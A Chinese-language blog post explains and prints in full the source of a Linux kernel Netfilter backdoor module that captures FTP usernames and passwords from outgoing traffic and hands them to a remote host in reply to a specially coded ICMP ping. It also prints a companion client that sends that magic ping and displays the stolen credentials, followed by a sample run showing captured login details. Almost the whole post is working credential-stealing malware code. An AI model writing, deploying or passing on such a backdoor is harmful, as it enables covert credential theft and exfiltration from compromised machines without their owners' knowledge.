基于内核的FTP密码嗅探器

2018年12月19日 0 作者 oceansw

在这里展现的是一个简单的,原理性的,用做Netfilter后门的模块。该模块嗅探输出的FTP数据包,查找对于一个FTP服务器一个USER于PASS命令对。当这样一个命令对被发现后,该模块接下来将等待一个“魔法”ICMP ECHO(ping)数据包,该数据包应当足够大,使其能返回服务器的IP地址、用户名以及密码。同时提供了一个快速的发送一个“魔法”数据包,获取返回然后打印返回信息的技巧。一旦用户名/密码对从模块读取后,模块将接着查找下一对。注意,模块每次只保存一个对。以上是简要的浏览,是该展示更多的细节,来看模块如何做到这些的时候了。

当模块加载时,模块的init_module()函数简单的注册了两个 Netfilter hook。第一个用于查看输入的数据包(在NF_IP_PRE_ROUTING处),尝试发现“魔法”ICMP数据包。接下来的一个用于查看离开该模块被安装的主机的数据包(在NF_IP_POST_ROUTING处),这个函数正是搜索和捕获FTP的USER和PASS数据包的地方。cleanup_module()函数只是简单的注销这两个hook。

watch_out()是用于 hook NF_IP_POST_ROUTING 的函数,查看这个函数你可以看到,它的执行的操作非常简单。当一个数据包进入这个函数过后,将经过各种检查,以确定它是一个FTP数据包。如果它不是一个FTP数据包,那么立即返回NF_ACCEPT。如果它是一个FTP数据包,那么该模块进行检查是否已经存在一个用户名/密码对。如果不存在(以have_pair的非零值标识),那么返回NF_ACCEPT,该数据包最终能够离开该系统。否则,check_ftp()函数被调用,这是密码提取实际发生的地方。如果没有先前的数据包已经被接收,那么target_ip和target_port变量应当被清除。

check_ftp()开始于从数据包的开始查找”USER”,”PASS”或”QUIT”。注意直到USER命令处理之后才处理PASS命令。这样做的目的是为了防止在某些情况下PASS命令先于USER命令被接收到以及在USER到达之前连接中断而导致的死锁的发生。同样,如果QUIT命令到达时仅有用户名被捕获,那么将重置操作,开始嗅探一个新的连接。当一个USER或者PASS命令到达时,如果必要完整性校验通过,则记录下命令的参数。正常运行下,在check_ftp()函数完成之前,检查是否已经有了一个有效的用户名和密码串。如果是,则设置have_pair的值为非零并且在当前的用户名/密码对被获取之前不会再抓取其它的用户名或密码。

到目前为止你已经看到了该模块如何安装它自己以及如何开始搜寻待记录的用户名和密码。接下来你将看到当指定的“魔法”数据包到达时会发生什么。在此需特别注意,因为这是在整个开发过程中出现的最大难题。如果我没记错的话,共遭遇了16个核心错误:)。当数据包进安装该模块的主机时,watch_in()检查每一个数据包以查看其是否是一个“魔法”数据包。如果数据包不能提供足以证明它是一个“魔法”数据包的信息,那么它将被被watch_in()忽略,简单的返回一个NF_ACCEPT。注意“魔法”数据包的标准之一是它们必须有足够的空间来存放IP地址以及用户名和密码串。这使得发送应答更加容易。当然,可以重新分配一个新的sk_buff,但是正确的获取所有必要的域得值可能会比较困难,并且你还必须得正确的获取它们!因此,与其为我们的应答数据包创建一个新的数据结构,不如简单的调整请求数据包的数据结构。为了成功的返回数据包,需要做几个改动。首先,交换IP地址,并且sk_buff数据结构中描述数据包类型的域(pkt_type)应当被换成PACKET_OUTGOING,这些宏在linux/if_packet.h中定义。接下来应当小心的是确定包含了任意的链路层头。我们接收到的数据包的sk_buff数据结构的数据域指向链路层头之后,并且它是指向被发送的数据包的数据的开始的数据域。那么对于需要链路层包头(以太网及环回和点对点的raw)的接口,我们将数据域指向mac.ethernet或者mac.raw结构。为确定这个数据包来自的什么类型的接口你可以查看sb->dev->type的值,其中sb是一个指向sk_buff数据结构的指针。这个域的有效值可以在linux/if_arp.h中找到,但其中最有用的几个在下面的表3中列出。

表3 : 接口类型的常用值
类型代码                            接口类型
ARPHRD_ETHER               以太网
ARPHRD_LOOPBACK     环回设备
ARPHRD_PPP                 点对点(例如拨号)

最后,我们要做的是真正的复制我们想在的应答中送出的数据。到送出数据包的时候了,dev_queue_xmit()函数以一个指向sk_buff数据结构的指针作为它唯一的参数,在“好的错误”情况下,返回一个负的错误代码。我所说的“好的错误”是什么意思呢?如果你给函数dev_queue_xmit()一个错误构造的套接字缓冲,那么你就会得到一个伴随着内核错误和内核堆栈的dump信息的“不太好的错误”。看看在这里错误如何能被分成两组?最后,watch_in()返回NF_STOLEN,以告诉Netfilter忘掉它曾经见到过这个数据包。如果你已经调用了dev_queue_xmit(),不要返回NF_DROP!这是因为dev_queue_xmit()将释放传递进来的套接字缓冲,而Netfilter会尝试对被NF_DROP的数据包做同样的操作。好了。对于代码的讨论已经足够了,请看具体的代码。

源代码 : nfsniff.c

/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge, March 2003 */

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/if_arp.h>

#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36

#define ICMP_PAYLOAD_SIZE (htons(iph->tot_len) \
– sizeof(struct iphdr) \
– sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */

/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *sk)
{
struct iphdr *iph;
struct tcphdr *tcph;
char *data;
int len = 0;
int i = 0;

iph = ip_hdr(sk);
tcph = (void *) iph + iph->ihl * 4;
data = (char *)((int)tcph + (int)(tcph->doff * 4));

/* Now, if we have a username already, then we have a target_ip.
* Make sure that this packet is destined for the same host. */
if (username)
if (iph->daddr != target_ip || tcph->source != target_port)
return;

/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, “USER “, 5) == 0) { /* Username */
data += 5;

if (username) return;

while (*(data + i) != ‘\r’ && *(data + i) != ‘\n’
&& *(data + i) != ‘\0’ && i < 15) {
len++;
i++;
}

if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = ‘\0’; /* NULL terminate */
} else if (strncmp(data, “PASS “, 5) == 0) { /* Password */
data += 5;

/* If a username hasn’t been logged yet then don’t try logging
* a password */
if (username == NULL) return;
if (password) return;

while (*(data + i) != ‘\r’ && *(data + i) != ‘\n’
&& *(data + i) != ‘\0’ && i < 15) {
len++;
i++;
}

if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = ‘\0’; /* NULL terminate */
} else if (strncmp(data, “QUIT”, 4) == 0) {
/* Quit command received. If we have a username but no password,
* clear the username and reset everything */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;

return;
}
} else {
return;
}

if (!target_ip)
target_ip = iph->daddr;
if (!target_port)
target_port = tcph->source;

if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
printk(“Now we have a pair of pass and username\n”);
printk(“username is :%s\n”,username);
printk(“password is :%s\n”,password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sk;
struct iphdr *iph;
struct tcphdr *tcph;

sk = skb_copy(skb, 1);
iph = ip_hdr(sk);
tcph = (void *) iph + iph->ihl * 4;

/* Make sure this is a TCP packet first */
if ( iph->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */

/* Now check to see if it’s an FTP packet */
if (tcph->dest != htons(21))
return NF_ACCEPT; /* Nope, not FTP */

/* Parse the FTP packet for relevant information if we don’t already
* have a username and password pair. */
if (!have_pair)
check_ftp(sk);

/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}

/* Procedure that watches incoming ICMP traffic for the “Magic” packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sk;
struct iphdr *iph;
struct tcphdr *tcph;

struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */

sk = skb;
iph = ip_hdr(sk);
tcph = (void *) iph + iph->ihl * 4;

/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;

/* Is this an ICMP packet? */
if ( iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;

icmp = (struct icmphdr *)(sk->data + iph->ihl * 4);

/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}

/* Okay, matches our checks for “Magicness”, now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew… */
taddr = iph->saddr;
iph->saddr = iph->daddr;
iph->daddr = taddr;

sk->pkt_type = PACKET_OUTGOING;

switch (sk->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];

/* Move the data pointer to point to the link layer header */
sk->data = (unsigned char *)sk->mac_header;
sk->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, ( ((struct ethhdr*)(sk->mac_header))->h_dest), ETH_ALEN);
memcpy( ((struct ethhdr*)(sk->mac_header))->h_dest, (((struct ethhdr*)(sk->mac_header))->h_source),ETH_ALEN);
memcpy((((struct ethhdr*)(sk->mac_header))->h_source), t_hwaddr, ETH_ALEN);

break;
}
};

/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);

/* This is where things will die if they are going to.
* Fingers crossed… */
dev_queue_xmit(sk);

/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;

target_port = target_ip = 0;

// printk(“Password retrieved\n”);

return NF_STOLEN;
}

int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_INET_PRE_ROUTING;

post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_INET_POST_ROUTING;

nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);

return 0;
}

void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);

if (password)
kfree(password);
if (username)
kfree(username);
}

MODULE_INIT(init_module);
MODULE_EXIT(cleanup_module);

MODULE_LICENSE(“GPL”);
MODULE_AUTHOR(“xsc”);

源代码 : getpass.c
/* getpass.c – simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge – March 2003 */

#include <stdio.h>
#include <stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>

#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <netinet/ip.h> /// struct ip
#include <netinet/ip_icmp.h> /// struct icmp

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;

if (argc < 3) {
fprintf(stderr, “Usage: %s remoteIP myIP\n”, argv[0]);
exit(1);
}

/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
perror(“Couldn’t open raw socket! “);
exit(1);
}

/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
perror(“Couldn’t set HDRINCL option!”);
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);

my_addr.s_addr = inet_addr(argv[2]);

memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);

/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;

/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

/* Finally, send the packet */
fprintf(stdout, “Sending request…\n”);
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
perror(“Failed sending request!”);
return 0;
}

fprintf(stdout, “Waiting for reply…\n”);
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
perror(“Failed getting reply packet!”);
close(icmp_sock);
exit(1);
}

iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));

fprintf(stdout, “Stolen for ftp server %s:\n”, inet_ntoa(serv_addr));
fprintf(stdout, “Username: %s\n”,
(char *)((char *)icmphead + 12));
fprintf(stdout, “Password: %s\n”,
(char *)((char *)icmphead + 28));

close(icmp_sock);

return 0;
}

/* Checksum-generation function. It appears that PING’ed machines don’t
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields…
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;

for(sum = 0;numwords > 0;numwords–)
sum += *buff++; /* add next word, then increment pointer */

sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);

return ~sum;
}
测试结果如下:

sina@ubuntu:~/Debug/sniff$ sudo ./getpass 192.168.100.2 192.168.100.1
Sending request…
Waiting for reply…
Stolen for ftp server 192.168.100.2:
Username: ftpvuser1
Password: ftpvuser1test